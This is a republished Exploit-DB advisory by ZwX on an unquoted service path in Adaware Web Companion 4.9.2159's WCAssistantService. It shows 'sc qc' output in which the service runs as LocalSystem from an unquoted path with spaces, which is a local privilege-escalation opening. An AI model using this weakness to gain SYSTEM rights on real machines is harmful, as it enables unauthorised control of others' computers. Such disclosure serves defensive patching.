Adaware Web Companion 4.9.2159 – ‘WCAssistantService’ Unquoted Service Path - 体验盒子

作者： ZwX

日期： 2020-01-06

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/47852/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

#Exploit Title: Adaware Web Companion 4.9.2159 - 'WCAssistantService' Unquoted Service Path

#Exploit Author : ZwX

#Exploit Date: 2020-01-05

#Vendor Homepage : http://webcompanion.com/

#Link Software : http://webcompanion.com/LP-WC002/index.php?partner=LU150701WEBDIRECT&campaign=www.doc2pdf.com&search=2&homepage=2&bd=2

#Tested on OS: Windows 10

#Analyze PoC :

==============

C:\Users\ZwX>sc qc WCAssistantService

[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: WCAssistantService

TYPE : 10WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL: 1 NORMAL

BINARY_PATH_NAME : C:\Program Files\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe

LOAD_ORDER_GROUP :

TAG: 0

DISPLAY_NAME : WC Assistant

DEPENDENCIES :

SERVICE_START_NAME : LocalSystem